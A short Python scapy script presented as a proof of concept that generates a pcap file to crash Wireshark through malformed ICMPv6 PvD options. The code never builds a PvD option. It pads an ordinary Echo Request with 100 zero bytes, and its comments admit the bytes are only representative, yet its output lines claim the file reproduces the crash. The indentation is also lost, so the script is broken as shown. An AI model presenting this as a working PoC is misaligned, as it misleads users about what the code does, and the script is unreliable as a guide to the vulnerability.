The following code is for security research and authorized testing only.
python
from scapy.all import *
# Define a crafted ICMPv6 packet with malformed PvD options
def generate_malformed_packet():
# Construct basic IPv6 and ICMPv6 headers
# Note: PvD is a specific option within ICMPv6. Here we simulate a malformed payload.
pkt = IPv6(src="2001:db8::1", dst="2001:db8::2") / ICMPv6EchoRequest()
# Add a raw payload that simulates a malformed PvD structure to trigger the crash
# This is a representative payload as the exact trigger bytes are specific to the CVE.
malformed_payload = b"\x00" * 100 # Example of buffer that might cause overflow
pkt = pkt / Raw(load=malformed_payload)
# Save to pcap
wrpcap("cve_2026_5299_poc.pcap", [pkt])
print("[+] PoC file generated: cve_2026_5299_poc.pcap")
print("[+] Open this file with vulnerable Wireshark to reproduce the crash.")
if __name__ == "__main__":
generate_malformed_packet()